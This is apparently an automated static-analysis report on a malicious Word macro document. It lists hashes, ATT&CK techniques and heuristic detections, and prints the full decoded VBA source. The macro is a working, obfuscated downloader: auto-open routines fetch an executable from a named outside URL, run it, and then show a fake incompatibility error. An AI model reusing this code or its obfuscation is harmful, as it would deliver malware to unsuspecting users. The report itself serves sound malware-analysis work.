Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e0281d47e5f0f3f…

MALICIOUS

Office (OLE)

540.0 KB Created: 2014-10-14 23:15:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 99d5366497a86c9e879c98f57919e630 SHA-1: c292df005fd01dc9e055f342eb60518eae4f2042 SHA-256: 6e0281d47e5f0f3fad8571432a4b3fb4bf6eaa92e8e94df60208ec096e9fc612
334 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1071.001 Web Protocols: Web Protocols T1059 Command and Scripting Interpreter

The sample contains VBA macros that attempt to download a second-stage executable from the reconstructed URL 'http://www.bribtan.mx/wp-includes/awss/Office_Word.exe'. The document body is a lure, presenting a fake guide to enable macros, which is a common social engineering tactic. The downloaded executable is then executed using ShellExecuteW. The presence of URLDownloadToFileW and ShellExecuteW API calls, along with the auto-exec macros, strongly indicates a downloader functionality.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFileW Lib "urlmon.dll" (ByVal lStatus1 As Long, ByVal lStatus2 As Long, ByVal lStatus3 As Long, ByVal lStatus4 As Long, ByVal lStatus5 As Long) As Long
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
       Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        GOLDMAN = Environ(Replace("??t?????m??????p??????????", "?", Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", ""))) & "\officeWord.exe"
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5071 bytes
SHA-256: 0bdda6c9c0095ce3ff625bcc24395bcacb2c7f5064eaa6a4530cacc820c9be93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

        
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal lpvoid1 As Long, ByVal lpvoid2 As Long, ByVal lpvoidk3 As Long, ByVal lpvoidk4 As Long, ByVal lpvoid5 As Long, ByVal lpvoidk6 As Long) As Long
                    
Dim MERRYL As String
Dim LYNCH As String
Dim GOLDMAN As String
                    
Private Declare Function URLDownloadToFileW Lib "urlmon.dll" (ByVal lStatus1 As Long, ByVal lStatus2 As Long, ByVal lStatus3 As Long, ByVal lStatus4 As Long, ByVal lStatus5 As Long) As Long
      
                    

Sub Workbook_Open()
   Auto_Open
End Sub
Sub AutoOpen()
   Auto_Open
End Sub
Sub Auto_Open()
    MERRYL = "h???t?t??p:/??/w???ww.??bri???ta??n.???m??x?/???wp-inc?lude???s/aw???s/O???ffi???ce_???Wor??d.??e?x???e??"
    GOLDMAN = Environ(Replace("??t?????m??????p??????????", "?", Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", ""))) & "\officeWord.exe"
    Call hander
End Sub
Public Function hander() As String()

URLDownloadToFileW 0&, SACHS(Replace(MERRYL, "?", Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", ""))), SACHS(GOLDMAN), 0&, 0&
    
ShellExecuteW 0&, SACHS(Replace("O?????p???e??n???", "?", Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", ""))), SACHS(GOLDMAN), SACHS(Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "")), SACHS(Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "")), 1



Call BLACKROCK
    
    
    
    
    Application.DisplayAlerts = False




Application.Quit
End Function

Public Function SACHS(c As String) As Long
If 2321 = 324 Then
SACHS = 122221
Else
SACHS = StrPtr(c)
End If
End Function

Sub BLACKROCK()
MsgBox "E" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "st" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & _
"e d" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "oc" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "um" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "en" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "to" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " no" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " es" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " co" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "mpa" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "tib" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "le " & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "con" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " es" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "te " & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "equ" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "ipo" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "." & vbCrLf & vbCrLf & "P" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "or " & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "fav" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "or " & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "int" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "ent" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "e d" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "esd" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "e o" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "tro" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " e" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "qui" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "po.", vbCritical, Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "Equ" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "ipo" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " no" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & " co" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "mpa" & Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "tib" & _
Replace("SORRY THIS IS A TEST YOU", "SORRY THIS IS A TEST YOU", "") & "le"

End Sub

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